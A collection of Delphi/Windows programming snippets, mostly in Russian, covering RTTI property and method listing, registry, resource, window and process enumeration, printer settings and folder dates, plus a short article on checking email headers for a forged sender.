The example at the end of this document lists not just the property name, but it's type. The name of the property type resides in an additional set of structures. Let's take a second look at the TPropInfo record. Notice that it contains a PPTypeInfo that points ultimately to a TTypeInfo record. TTypeInfo contains the class name of the property.
PPropInfo = ^TPropInfo;
TPropInfo = packed record
PropType: PPTypeInfo;
GetProc: Pointer;
SetProc: Pointer;
StoredProc: Pointer;
Index: Integer;
Default: Longint;
NameIndex: SmallInt;
Name: ShortString;
end;
PPTypeInfo = ^PTypeInfo;
PTypeInfo = ^TTypeInfo;
TTypeInfo = record
Kind: TTypeKind;
Name: ShortString;
{TypeData: TTypeData}
end;
The example below shows how to set up the call to GetPropList, and how to access the array elements. TForm will be referenced in this example instead of TButton, but you can substitute other values in the GetPropList call. The visible result will be to fill the list with the property name and type of the TForm properties.
This project requires a TListBox. Enter the code below in the forms OnCreate event handler.
uses
TypInfo;
procedure TForm1.FormCreate(Sender: TObject);
var
PropList: PPropList;
i: integer;
begin
PropList := AllocMem(SizeOf(PropList^));
i := 0;
try
GetPropList(TForm.ClassInfo, tkProperties + [tkMethod], PropList);
while (PropList^[i] <> nil) and (i < High(PropList^)) do
begin
ListBox1.Items.Add(PropList^[i].Name + ': ' +
PropList^[i].PropType^.Name);
Inc(i);
end;
finally
FreeMem(PropList);
end;
end;
Как прочитать весь список Published методов.
Автор: http://www.lmc-mediaagentur.de
procedure EnumMethods(aClass: TClass; lines: TStrings);
type
TMethodtableEntry = packed record
len: Word;
adr: Pointer;
name: ShortString;
end;
{Note: name occupies only the size required, so it is not a true shortstring! The actual
entry size is variable, so the method table is not an array of TMethodTableEntry!}
var
pp: ^Pointer;
pMethodTable: Pointer;
pMethodEntry: ^TMethodTableEntry;
i, numEntries: Word;
begin
if aClass = nil then
Exit;
pp := Pointer(Integer(aClass) + vmtMethodtable);
pMethodTable := pp^;
lines.Add(format('Class %s: method table at %p', [aClass.Classname,
pMethodTable]));
if pMethodtable <> nil then
begin
{first word of the method table contains the number of entries}
numEntries := PWord(pMethodTable)^;
lines.Add(format(' %d published methods', [numEntries]));
{make pointer to first method entry, it starts at the second word of the table}
pMethodEntry := Pointer(Integer(pMethodTable) + 2);
for i := 1 to numEntries do
begin
with pMethodEntry^ do
lines.Add(format(' %d: len: %d, adr: %p, name: %s', [i, len, adr,
name]));
{make pointer to next method entry}
pMethodEntry := Pointer(Integer(pMethodEntry) + pMethodEntry^.len);
end;
end;
EnumMethods(aClass.ClassParent, lines);
end;
procedure TForm2.Button1Click(Sender: TObject);
begin
memo1.clear;
EnumMethods(Classtype, memo1.lines);
end;
Как получить список всех published свойств (имена и типы).
Автор: Ronan van Riet WEB-сайт: http://www.lmc-mediaagentur.de
function GetComponentProperties(Instance: TPersistent; AList: TStrings):
Integer;
var
I, Count: Integer;
PropInfo: PPropInfo;
PropList: PPropList;
begin
Result := 0;
Count := GetTypeData(Instance.ClassInfo)^.PropCount;
if Count > 0 then
begin
GetMem(PropList, Count * SizeOf(Pointer));
try
GetPropInfos(Instance.ClassInfo, PropList);
for I := 0 to Count - 1 do
begin
PropInfo := PropList^[I];
if PropInfo = nil then
Break;
if IsStoredProp(Instance, PropInfo) then
begin
{
case PropInfo^.PropType^.Kind of
tkInteger:
tkMethod:
tkClass:
...
end;
}
end;
Result := AList.Add(PropInfo^.Name);
end;
finally
FreeMem(PropList, Count * SizeOf(Pointer));
end;
end;
end;
Как получить список всех published свойств (имена и типы) 2.
Автор: Grega Loboda WEB-сайт: http://www.lmc-mediaagentur.de
uses
TypInfo
procedure ListProperties(AInstance: TPersistent; AList: TStrings);
var
i: integer;
pInfo: PTypeInfo;
pType: PTypeData;
propList: PPropList;
propCnt: integer;
tmpStr: string;
begin
pInfo := AInstance.ClassInfo;
if (pInfo = nil) or (pInfo^.Kind <> tkClass) then
raise Exception.Create('Invalid type information');
pType := GetTypeData(pInfo); {Pointer to TTypeData}
AList.Add('Class name: ' + pInfo^.Name);
{If any properties, add them to the list}
propCnt := pType^.PropCount;
if propCnt > 0 then
begin
AList.Add(EmptyStr);
tmpStr := IntToStr(propCnt) + ' Propert';
if propCnt > 1 then
tmpStr := tmpStr + 'ies'
else
tmpStr := tmpStr + 'y';
AList.Add(tmpStr);
FillChar(tmpStr[1], Length(tmpStr), '-');
AList.Add(tmpStr);
{Get memory for the property list}
GetMem(propList, sizeOf(PPropInfo) * propCnt);
try
{Fill in the property list}
GetPropInfos(pInfo, propList);
{Fill in info for each property}
for i := 0 to propCnt - 1 do
AList.Add(propList[i].Name + ': ' + propList[i].PropType^.Name);
finally
FreeMem(propList, sizeOf(PPropInfo) * propCnt);
end;
end;
end;
function GetPropertyList(AControl: TPersistent; AProperty: string): PPropInfo;
var
i: integer;
props: PPropList;
typeData: PTypeData;
begin
Result := nil;
if (AControl = nil) or (AControl.ClassInfo = nil) then
Exit;
typeData := GetTypeData(AControl.ClassInfo);
if (typeData = nil) or (typeData^.PropCount = 0) then
Exit;
GetMem(props, typeData^.PropCount * SizeOf(Pointer));
try
GetPropInfos(AControl.ClassInfo, props);
for i := 0 to typeData^.PropCount - 1 do
begin
with Props^[i]^ do
if (Name = AProperty) then
result := Props^[i];
end;
finally
FreeMem(props);
end;
end;
And calling this code by:
ListProperties(TProject(treeview1.items[0].data), memo3.lines);
My tProject is defined as.
type
TProject = class(tComponent)
private
FNaam: string;
procedure SetNaam(const Value: string);
public
constructor Create(AOwner: tComponent);
destructor Destroy;
published
property Naam: string read FNaam write SetNaam;
end;
Also note the output, there seem to be 2 standard properties (Name and Tag) !
Memo3
Class name: TProject
3 Properties ------------------- Name: TComponentName Tag: Integer Naam: String.
Получить многострочные значения из реестра и преобразовать их в TStringList.
function ReadMultirowKey(reg: TRegistry; Key: string): TStrings;
const
bufsize = 100;
var
i: integer;
s1: string;
sl: TStringList;
bin: array[1..bufsize] of char;
begin
try
result := nil;
sl := nil;
sl := TStringList.Create;
if not Assigned(reg) then
raise Exception.Create('TRegistry object not assigned.');
FillChar(bin, bufsize, #0);
reg.ReadBinaryData(Key, bin, bufsize);
i := 1;
s1 := '';
while i < bufsize do
begin
if ord(bin[i]) >= 32 then
s1 := s1 + bin[i]
else
begin
if Length(s1) > 0 then
begin
sl.Add(s1);
s1 := '';
end;
end;
inc(i);
end;
result := sl;
except
sl.Free;
raise;
end;
end;
|
Получить все имена ресурсов, что были загружены данным приложением.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
type
TForm1 = class(TForm)
Button1: TButton;
Memo1: TMemo;
procedure Button1Click(Sender: TObject);
private
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
function enumResNamesProc(module: HMODULE; restype, resname: PChar;
list: TStrings): Integer; stdcall;
begin
if HiWord(Cardinal(resname)) <> 0 then
list.Add(' ' + resname)
else
list.Add(Format(' #%d', [loword(Cardinal(resname))]));
Result := 1;
end;
Function StockResourceType(restype: PChar): string;
const
restypenames: Array [1..22] of String =
( 'RT_CURSOR', // = MakeIntResource(1);
'RT_BITMAP', // = MakeIntResource(2);
'RT_ICON', // = MakeIntResource(3);
'RT_MENU', // = MakeIntResource(4);
'RT_DIALOG', // = MakeIntResource(5);
'RT_STRING', // = MakeIntResource(6);
'RT_FONTDIR',// = MakeIntResource(7);
'RT_FONT', // = MakeIntResource(8);
'RT_ACCELERATOR',// = MakeIntResource(9);
'RT_RCDATA', // = MakeIntResource(10);
'RT_MESSAGETABLE',// = MakeIntResource(11);
// DIFFERENCE = 11;
'RT_GROUP_CURSOR',// = MakeIntResource(DWORD(RT_CURSOR +7DIFFERENCE));
'UNKNOWN', // 13 not used
'RT_GROUP_ICON', // = MakeIntResource(DWORD(RT_ICON +DIFFERENCE));
'UNKNOWN', // 15 not used
'RT_VERSION', // = MakeIntResource(16);
'RT_DLGINCLUDE', // = MakeIntResource(17);
'UNKNOWN',
'RT_PLUGPLAY', // = MakeIntResource(19);
'RT_VXD', // = MakeIntResource(20);
'RT_ANICURSOR', // = MakeIntResource(21);
'RT_ANIICON' // = MakeIntResource(22);
);
var
resid: Cardinal absolute restype;
begin
if resid in [1..22] then
Result := restypenames[resid]
else
Result := 'UNKNOWN';
end;
function enumResTypesProc(module: HMODULE; restype: PChar; list: TStrings): Integer; stdcall;
begin
if HiWord(Cardinal(restype)) <> 0 then
list.Add(restype)
else
list.Add(Format('Stock type %d: %s', [LoWord(Cardinal(restype)),
StockResourcetype(restype)]));
EnumResourceNames(module, restype, @enumResNamesProc, Integer(list));
Result := 1;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
memo1.Clear;
if not EnumResourceTypes(hinstance, @enumResTypesProc, Integer(memo1.Lines)) then
memo1.Lines.Add(Format('GetLastError= %8.8x', [GetLastError]))
else
memo1.Lines.Add('Successful');
end;
end.
Как найти корневой каталог.
Автор: LENIN INC WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Как найти корневой каталог...
Зависимости: Windows
Автор: LENIN INC, fuck2all@ukr.net, Kiev
Copyright: LENIN INC, http://lenininc.narod.ru
Дата: 22 февраля 2003 г.
***************************************************** }
//Находим корневой каталог
function RootDir: string;
var
buffer: array[0..1023] of char;
begin
SetString(Result, Buffer, GetWindowsDirectory(Buffer, Sizeof(Buffer) - 1));
if (Result <> '') and (Result[Length(Result)] <> '\') then
Result := Copy(Result + '\', 1, 3);
end;
Взять RTF-текст из запущенного MS Word без использования буфера обмена.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses
Word_TLB, ActiveX, ComObj;
function GetRTFFormat(DataObject: IDataObject; var RTFFormat: TFormatEtc): Boolean;
var
Formats: IEnumFORMATETC;
TempFormat: TFormatEtc;
pFormatName: PChar;
Found: Boolean;
begin
try
OleCheck(DataObject.EnumFormatEtc(DATADIR_GET, Formats));
Found := False;
while (not Found) and (Formats.Next(1, TempFormat, nil) = S_OK) do
begin
pFormatName := AllocMem(255);
GetClipBoardFormatName(TempFormat.cfFormat, pFormatName, 254);
if (string(pFormatName) = 'Rich Text Format') then
begin
RTFFormat := TempFormat;
Found := True;
end;
FreeMem(pFormatName);
end;
Result := Found;
except
Result := False;
end;
end;
function GetRTF: string;
var
DataObject: IDataObject;
RTFFormat: TFormatEtc;
ReturnData: TStgMedium;
Buffer: PChar;
WordDoc: _Document;
WordApp: _Application;
begin
Result := '';
try
GetActiveOleObject('Word.Application').QueryInterface(_Application, WordApp);
except
ShowMessage('Error: MSWord is not running');
Exit;
end;
if (WordApp <> nil) then
try
WordDoc := WordApp.ActiveDocument;
WordDoc.QueryInterface(IDataObject, DataObject);
if GetRTFFormat(DataObject, RTFFormat) then
begin
OleCheck(DataObject.GetData(RTFFormat, ReturnData));
//RTF is passed through global memory
Buffer := GlobalLock(ReturnData.hglobal);
//Buffer is a pointer to the RTF text
Result := StrPas(Buffer);
GlobalUnlock(ReturnData.hglobal);
ReleaseStgMedium(ReturnData);
end;
except
// Error occured...
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
ss: TStringstream;
rtfText: string;
begin
rtfText := GetRTF;
ss := TStringStream.Create(rtfText);
try
ss.Position := 0;
Memo1.Text := rtfText;
RichEdit1.Lines.LoadFromStream(ss);
finally
ss.Free
end;
end;
Взят RTF отформатированный текст из TRichEdit.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
function GetRTFText(ARichEdit: TRichedit): string;
var
ss: TStringStream;
emptystr: string;
begin
emptystr := '';
ss := TStringStream.Create(emptystr);
try
ARichEdit.PlainText := False;
ARichEdit.Lines.SaveToStream(ss);
Result := ss.DataString;
finally
ss.Free
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
Memo1.Text := GetRTFText(RichEdit1);
end;
Получение списка окон, с возможностью указания типа окна.
Автор: VID WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение списка окон, с возможностью указания типа окна
Процедура заполняет список List именами окон, в ОС.
ПАРАМЕТРЫ:
YourApplicationHandle - дескриптор приложения,
вызывающего процедуру (Application.Handle);
ShowOwnWindow - указание на то, что в списке List,
должно быть также имя окна вызвавшего процедуру;
ShowInvisibleWindows - укание на отображение в List имён невидимых окон;
ShowChildWindows - указание на отображение в LIST имён дочерних окон;
ShowNoHeadWindows - отображение списка окон, без заголовков;
ShowMainWindows - отображение родительских окон.
Также для каждой строки списка LIST добавляется объект (Object),
который содержит указатель дескриптор окна.
При обнаружении недостатков, или вопиющей неоптимальности кода - пишите :)
Зависимости: sysutils, classes, windows, UBPFD.GetWordListFromText
Автор: VID, vidsnap@mail.ru, ICQ:132234868, Махачкала
Copyright: VID
Дата: 02 мая 2002 г.
***************************************************** }
procedure GetWindowsList(List: TStrings; YourApplicationHandle: HWND;
ShowOwnWindow, ShowInvisibleWindows, ShowChildWindows, ShowNoHeadWindows,
ShowMainWindows: Boolean);
var
Wnd: hWnd;
buff: array[0..127] of Char;
I: integer;
CanShowIt: Boolean;
WindowType, UnAcceptWinTypes: string;
WordList: TStringList;
begin
List.Clear;
Wnd := GetWindow(YourApplicationHandle, gw_HWndFirst);
WordList := TStringList.Create;
while Wnd <> 0 do
begin
WindowType := '';
if Wnd = YourApplicationHandle then
WindowType := WindowType + ' own '; {собственное окно}
if IsWindowVisible(Wnd) = null then
WindowType := WindowType + ' invisible '; {-Невидимые окна}
if GetWindow(Wnd, gw_child) <> 0 then
WindowType := WindowType + ' child '; {-Дочерние окна}
if GetWindowText(Wnd, buff, sizeof(buff)) = 0 then
WindowType := WindowType + ' nohead '; {-Окна без заголовков}
if GetWindow(Wnd, gw_Owner) <> 0 then
WindowType := WindowType + ' main '; {-Главные окна}
UnAcceptWinTypes := '';
if ShowOwnWindow = False then
UnAcceptWinTypes := UnAcceptWinTypes + ' own ';
if ShowInvisibleWindows = False then
UnAcceptWinTypes := UnAcceptWinTypes + ' invisible ';
if ShowChildWindows = False then
UnAcceptWinTypes := UnAcceptWinTypes + ' child ';
if ShowNoHeadWindows = False then
UnAcceptWinTypes := UnAcceptWinTypes + ' nohead ';
if ShowMainWindows = False then
UnAcceptWinTypes := UnAcceptWinTypes + ' main ';
CanShowIt := True;
GetWordListFromText(UnAcceptWinTypes, ' ', WordList, False, False);
if WordList.Count > 0 then
begin
I := -1;
repeat
I := I + 1;
if Pos(WordList.Strings[i], WindowType) > 0 then
CanShowIt := False;
until (I = WordList.Count - 1) or (CanShowIt = False);
end;
if CanShowIt = True then
begin
GetWindowText(Wnd, buff, sizeof(buff));
I := List.Add(StrPas(buff));
List.Objects[I] := Pointer(Wnd);
end;
Wnd := GetWindow(Wnd, gw_hWndNext);
end;
WordList.Free;
end;
Пример использования:
procedure TForm1.Button1Click(Sender: TObject); begin GetWindowsList(memo1.Lines, self.Handle, true, false, false, true, true); end;
Получение списка процессов в Windows 9x и NT.
Автор: Евгений Пелега WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение списка процессов в Windows 9x/NT
Определяет список модулей, запущенных в настоящее время в системе, и заносит их
имена в список TStrings. На Win9x использует функции ToolHelp32,
на NT/2000/XP - библиотеку PSAPI.dll
Зависимости: Windows, Classes, PSAPI, TlHelp32
Автор: Евгений Пелега, drpass@mail.ru, Донецк
Copyright: Евгений Пелега
Дата: 26 апреля 2002 г.
***************************************************** }
procedure GetProcessList(var sl: TStrings);
var
pe: TProcessEntry32;
ph, snap: THandle; //дескрипторы процесса и снимка
mh: hmodule; //дескриптор модуля
procs: array[0..$FFF] of dword; //массив для хранения дескрипторов процессов
count, cm: cardinal; //количество процессов
i: integer;
ModName: array[0..max_path] of char; //имя модуля
begin
sl.Clear;
if Win32Platform = VER_PLATFORM_WIN32_WINDOWS then
begin //если это Win9x
snap := CreateToolhelp32Snapshot(th32cs_snapprocess, 0);
if integer(snap) = -1 then
begin
exit;
end
else
begin
pe.dwSize := sizeof(pe);
if Process32First(snap, pe) then
repeat
sl.Add(string(pe.szExeFile));
until not Process32Next(snap, pe);
end;
end
else
begin //Если WinNT/2000/XP
if not EnumProcesses(@procs, sizeof(procs), count) then
begin
exit;
end;
for i := 0 to count div 4 - 1 do
begin
ph := OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ,
false, procs[i]);
if ph > 0 then
begin
EnumProcessModules(ph, @mh, 4, cm);
GetModuleFileNameEx(ph, mh, ModName, sizeof(ModName));
sl.Add(string(ModName));
CloseHandle(ph);
end;
end;
end;
end;
Пример использования:
procedure TForm1.Button1Click(Sender: TObject); var tmp: TStrings; begin tmp := memo1.Lines; GetProcessList(tmp); end;
Как извлечь Red, Green, Blue составляющие из определённого цвета.
Используйте функции Window API GetRValue(), GetGValue() и GetBValue():
procedure TForm1.Button1Click(Sender: TObject);
begin
with Form1.Canvas.Pen do
begin
Color := clRed;
with Memo1.Lines do
begin
Add('Red := ' + IntToStr(GetRValue(Color)));
Add('Red := ' + IntToStr(GetGValue(Color)));
Add('Blue := ' + IntToStr(GetBValue(Color)));
end;
end;
end;
|
Как получить ширину ScrollBar.
// These snippets get the width of the scrollbars, as defined BY THE USER
// on the Display Properties screen Appearance tab. The code below is
// for a string grid, but any component that has scrollbars should work as
// well.
//
// by Robert E. Baker (robertbaker@bigfoot.com)
//
// For a vertical scrollbar
if ScrollBarVisible(StringGrid1.Handle, WS_VSCROLL) then
ScrollBarWidth := GetSystemMetrics(SM_CXVSCROLL)
else
ScrollBarWidth := 0;
// For a vertical scrollbar
if ScrollBarVisible(StringGrid1.Handle, WS_HSCROLL) then
ScrollBarWidth := GetSystemMetrics(SM_CXHSCROLL)
else
ScrollBarWidth := 0;
// The code for the ScrollBarVisible function is below:
function ScrollBarVisible(Handle : HWnd; Style : Longint) : Boolean;
begin
Result := (GetWindowLong(Handle, GWL_STYLE) and Style) <> 0;
end;
|
Определяем отправителя.
Оформил: DeeCo
Электронная почта, как впрочем и обычная, является важным атрибутом нашей privacy, инструментом обмена информацией частного характера. Но она немедленно перестает быть таковым, если нарушаются три важных условия. Первое: текст сообщения доступен только отправителю и адресату. Второе: уверенность в том, что полученное письмо принадлежит тому человеку, чья подпись стоит под этим письмом. Третье: возможность отправить письмо, оставшись, в случае необходимости, анонимным. Обсуждение первого вопроса выходит за рамки этой статьи, поскольку относится к области гражданской криптографии, что требует отдельного разговора. Мы же рассмотрим последние два вопроса. Получение Иногда у пользователя возникает ситуация, в которой ему хотелось бы выявить реального автора полученного сообщения. Например, вы получили сообщение от вашей жены, в котором она пишет, что уходит к другому. Вы можете либо вздохнуть с облегчением, выпить на радости рюмку-другую, и отправиться с друзьями на дачу праздновать это событие (предпочтительный, с точки зрения автора, вариант), либо попытаться выяснить, не является ли это шуткой ваших друзей. Ваши умные друзья могли легко изменить поле From в отправленном сообщении, поставив туда вместо своего обратного адреса хорошо известный вам адрес вашей жены, например vasya@super.net. Как это делается, можно прочесть ниже, в разделе "Отправка". Так что стоящая перед нами задача сводится к следующему: соответствует ли указанный адрес отправителя адресу, с которого в действительности было отправлено сообщение. Итак, каждое электронное сообщение содержит заголовок (header), представляющий из себя служебную информацию о дате отправления сообщения, названии почтовой программы, IP адресе машины, с которой было отправлено сообщение, и т.п. Большинство почтовых программ по умолчанию не отражают эту информацию, но ее всегда можно просмотреть, либо открыв файл, содержащий входящую почту, с помощью любого текстового редактора, либо использовав функцию почтовой программы, позволяющую просматривать служебные заголовки, которая, как правило, называется Show all headers. В почтовой программе Eudora это делается простым нажатием на кнопку Blah-Blah-Blah, в Outlook Express наводим курсор мыши на заголовок, кликаем правой кнопкой. На экране появляется примерно такая информация:Received: by geocities.com(8.8.5 / 8.8.5)with ESMTP id JAA16952 for ; Tue, 18 Nov 1997 09: 37: 40 - 0800(PST) Received: from vasya.super.net(really[209.50.60.79]) by endeavor.super.net(8.8.7 / 8.8.5)with SMTP id LAA20454 for ; Tue, 18 Nov 1997 11: 37: 38 - 0600(CST) Message - ID: < 3471 D27E.69 A9@super.net > Date: Tue, 18 Nov 1997 11: 38: 07 - 0600 From: vasya@super.net X - Mailer: Mozilla 3.02(Win95; U) MIME - Version: 1.0 to : petya@geocities.com Subject: I don’t love you any more, you fool !!!!Заголовки Received сообщают о пути, который прошло сообщение в процессе пересылки по сети. Имена машин (geocities.com, endeavor.super.net) указывают на то, что сообщение, скорее всего, пришло к вам в geocities.com из домена super.net. Если имена машин не имеют ничего общего с super.net (например, mailrelay.tiac.net), это повод задуматься о подлинности сообщения. Но самая главная строка для нас - последняя из строк, начинающихся со слова Received:
Received: from vasya.super.net (really [209.50.60.79])Она отражает имя машины (vasya.super.net) и уникальный IP адрес, с которого было отправлено сообщение. Мы видим, что домен (super.net) соответствует адресу. Впрочем, можно подделать и строку vasya.super.net (в Windows 95 это делается через через Control Panel=>Network=>TCP/IP Properties=>DNS Configuration, указав vasya и super.net в полях Host и Domain соответственно), поэтому для нас важно определить имя, соответствующее данному IP адресу: 209.30.69.99. Для определения имени, соответствующего цифровому адресу, можно воспользоваться одной из доступных программ, например CyberKit, Shadow Scan. Набрав цифровой адрес, мы даем команду NS LookUp (Name Server Lookup) и смотрим на полученный результат. Если имя определилось, то дальше все просто: если вы получили что-нибудь вроде ppp303.super.net или p28-dialup.super.net, то сообщение отправлено другом (или кем-то, имеющим счет в Supernet, но тут вы уже бессильны что-либо выяснить). Если нечто весьма далекое от super.net - он его скорее всего не посылал. Бывают ситуации, когда адрес не определяется. Не отчаивайтесь: воспользуйтесь функцией TraceRoute из той же программы. Эта функция поможет проследить путь от вашей машины до указанного IP адреса. Этот адрес (он будет последним в списке узлов, через которые сигнал прошел от вашего компьютера до компьютера с указанным IP адресом) снова не определится, но последний из определившихся по имени узлов все-таки укажет на примерное географическое положение компьютера отправителя. Можно спец программу и не заводить. Выполнить вышеописанную процедуру можно на http://www.all-nettols.com/ . Что письмо отправлено из Гондураса? И друзей у Вас там нет? Тогда все понятно. Вам просто пудрят мозги.
Как узнать серийный номер аудио CD.
| Отец-программист сидит у телевизора. Сынок возится с компьютером. Через некоторое время сынок подбегает к папе: - Папа! А что значит надпись "Формат диск C камплит? |
CD может иметь или не иметь серийный номер и/или универсальный код продукта (Universal Product Code). MCI-расширение Windows предоставляет эту информации с помощью комманды MCI_INFO_MEDIA_IDENTITY command. Эта команда возвращает уникальную ID-строку.
uses
MMSystem, MPlayer;
procedure TForm1.Button1Click(Sender: TObject);
var
mp: TMediaPlayer;
msp: TMCI_INFO_PARMS;
MediaString: array [0..255] of char;
ret: longint;
begin
mp := TMediaPlayer.Create(nil);
mp.Visible := false;
mp.Parent := Application.MainForm;
mp.Shareable := true;
mp.DeviceType := dtCDAudio;
mp.FileName := 'D:';
mp.Open;
Application.ProcessMessages;
FillChar(MediaString, sizeof(MediaString), #0);
FillChar(msp, sizeof(msp), #0);
msp.lpstrReturn := @MediaString;
msp.dwRetSize := 255;
ret := mciSendCommand(Mp.DeviceId, MCI_INFO,
MCI_INFO_MEDIA_IDENTITY, longint(@msp));
if Ret 0 then
begin
MciGetErrorString(ret, @MediaString, sizeof(MediaString));
Memo1.Lines.Add(StrPas(MediaString));
end
else
Memo1.Lines.Add(StrPas(MediaString));
mp.Close;
Application.ProcessMessages;
mp.free;
end;
end.
|
Получить или установить принтер по умолчанию.
uses
Printers, Messages;
function GetDefaultPrinter: string;
var
ResStr: array[0..255] of Char;
begin
GetProfileString('Windows', 'device', '', ResStr, 255);
Result := StrPas(ResStr);
end;
procedure SetDefaultPrinter1(NewDefPrinter: string);
var
ResStr: array[0..255] of Char;
begin
StrPCopy(ResStr, NewdefPrinter);
WriteProfileString('windows', 'device', ResStr);
StrCopy(ResStr, 'windows');
SendMessage(HWND_BROADCAST, WM_WININICHANGE, 0, Longint(@ResStr));
end;
procedure SetDefaultPrinter2(PrinterName: string);
var
I: Integer;
Device: PChar;
Driver: PChar;
Port: PChar;
HdeviceMode: THandle;
aPrinter: TPrinter;
begin
Printer.PrinterIndex := -1;
GetMem(Device, 255);
GetMem(Driver, 255);
GetMem(Port, 255);
aPrinter := TPrinter.Create;
try
for I := 0 to Printer.Printers.Count - 1 do
begin
if Printer.Printers = PrinterName then
begin
aprinter.PrinterIndex := i;
aPrinter.getprinter(device, driver, port, HdeviceMode);
StrCat(Device, ',');
StrCat(Device, Driver);
StrCat(Device, Port);
WriteProfileString('windows', 'device', Device);
StrCopy(Device, 'windows');
SendMessage(HWND_BROADCAST, WM_WININICHANGE,
0, Longint(@Device));
end;
end;
finally
aPrinter.Free;
end;
FreeMem(Device, 255);
FreeMem(Driver, 255);
FreeMem(Port, 255);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
label1.Caption := GetDefaultPrinter2;
end;
//Fill the combobox with all available printers
procedure TForm1.FormCreate(Sender: TObject);
begin
Combobox1.Items.Clear;
Combobox1.Items.AddStrings(Printer.Printers);
end;
//Set the selected printer in the combobox as default printer
procedure TForm1.Button2Click(Sender: TObject);
begin
SetDefaultPrinter(Combobox1.Text);
end;
|
Как прочитать или установить принтер по умолчанию.
Автор: http://www.swissdelphicenter.ch
uses
Printers, Messages;
function GetDefaultPrinter: string;
var
ResStr: array[0..255] of Char;
begin
GetProfileString('Windows', 'device', '', ResStr, 255);
Result := StrPas(ResStr);
end;
procedure SetDefaultPrinter1(NewDefPrinter: string);
var
ResStr: array[0..255] of Char;
begin
StrPCopy(ResStr, NewdefPrinter);
WriteProfileString('windows', 'device', ResStr);
StrCopy(ResStr, 'windows');
SendMessage(HWND_BROADCAST, WM_WININICHANGE, 0, Longint(@ResStr));
end;
procedure SetDefaultPrinter2(PrinterName: string);
var
I: Integer;
Device: PChar;
Driver: PChar;
Port: PChar;
HdeviceMode: THandle;
aPrinter: TPrinter;
begin
Printer.PrinterIndex := -1;
GetMem(Device, 255);
GetMem(Driver, 255);
GetMem(Port, 255);
aPrinter := TPrinter.Create;
try
for I := 0 to Printer.Printers.Count - 1 do
begin
if Printer.Printers = PrinterName then
begin
aprinter.PrinterIndex := i;
aPrinter.getprinter(device, driver, port, HdeviceMode);
StrCat(Device, ',');
StrCat(Device, Driver);
StrCat(Device, Port);
WriteProfileString('windows', 'device', Device);
StrCopy(Device, 'windows');
SendMessage(HWND_BROADCAST, WM_WININICHANGE,
0, Longint(@Device));
end;
end;
finally
aPrinter.Free;
end;
FreeMem(Device, 255);
FreeMem(Driver, 255);
FreeMem(Port, 255);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
label1.Caption := GetDefaultPrinter2;
end;
//Fill the combobox with all available printers
procedure TForm1.FormCreate(Sender: TObject);
begin
Combobox1.Items.Clear;
Combobox1.Items.AddStrings(Printer.Printers);
end;
//Set the selected printer in the combobox as default printer
procedure TForm1.Button2Click(Sender: TObject);
begin
SetDefaultPrinter(Combobox1.Text);
end;
Получить или установить дату для директории.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
function GetFolderDate(Folder: string): TDateTime;
var
Rec: TSearchRec;
Found: Integer;
Date: TDateTime;
begin
if Folder[Length(folder)] = '\' then
Delete(Folder, Length(folder), 1);
Result := 0;
Found := FindFirst(Folder, faDirectory, Rec);
try
if Found = 0 then
begin
Date := FileDateToDateTime(Rec.Time);
Result := Date;
end;
finally
FindClose(Rec);
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
d: TDateTime;
begin
d := GetFolderDate('C:\WINNT');
ShowMessage(FormatDateTime('dddd, d. mmmm yyyy, hh:mm:ss', d));
end;
{ Sets the time for both files and directories }
{ for NT }
function NT_SetDateTime(FileName: string; dtCreation, dtLastAccessTime, dtLastWriteTime: TDateTime): Boolean;
// by Nicholas Robinson
var
hDir: THandle;
ftCreation: TFiletime;
ftLastAccessTime: TFiletime;
ftLastWriteTime: TFiletime;
function DTtoFT(dt: TDateTime): TFiletime;
var
dwft: DWORD;
ft: TFiletime;
begin
dwft := DateTimeToFileDate(dt);
DosDateTimeToFileTime(LongRec(dwft).Hi, LongRec(dwft).Lo, ft);
LocalFileTimeToFileTime(ft, Result);
end;
begin
hDir := CreateFile(PChar(FileName),
GENERIC_READ or GENERIC_WRITE,
0,
nil,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS,
0);
if hDir <> INVALID_HANDLE_VALUE then
begin
try
ftCreation := DTtoFT(dtCreation);
ftLastAccessTime := DTtoFT(dtLastAccessTime);
ftLastWriteTime := DTtoFT(dtLastWriteTime);
Result := SetFileTime(hDir, @ftCreation, @ftLastAccessTime, @ftLastWriteTime);
finally
CloseHandle(hDir);
end;
end
else
Result := False;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
NT_SetDateTime('c:\temp\MyFolder', now, now, now);
end;
Содержание.
- Общая техника использования функций и процедур – получить дату создания файла.
- Заголовок и стандартные директивы.
- Передача функции как параметра.
- Функция для работы с палитрами и RGB.
- Указатель на функцию.
- Указатель на функцию 2.
- Вычисление автокорреляционной функции.
- Оптимизация функции методом деформируемого многогранника (Метод Нелдера-Мида).
- Advanced Draw.
- Анимация спрайтов.
- Аркадный движок.
- Изменение гаммы спрайта.
- Collision.
- DXInput.
- DXPlay.
- Опять шрифты. Нормальная процедура отображения графических шрифтов.
- Создание шрифтов формата BMP для использования в играх! Также постейший фильтр изображений.
- Изучаем DelphiX - Часть 0 - Теория.
- Изучаем DelphiX - Часть 1 - Первая игра.
- Изучаем DelphiX - Часть 2 - Усложняем нашу игру.
- Изучаем DelphiX - Часть 3 - Крутим спрайты.
- Изучаем DelphiX - Часть 4 - Разбираем классы.
- Изучаем DelphiX - Часть 5 - AI.
- Изучаем DelphiX - Часть 6 - Мультиплеер.
- Изучаем DelphiX - Часть 7 - Звуки и музыка.
- Изучаем DelphiX - Часть 8 - The End.
- Создание Главного Меню в Игре - Часть 1 - Кнопки и ЧекБоксы.
- Создание Главного Меню в Игре - Часть 2 - EDIT.
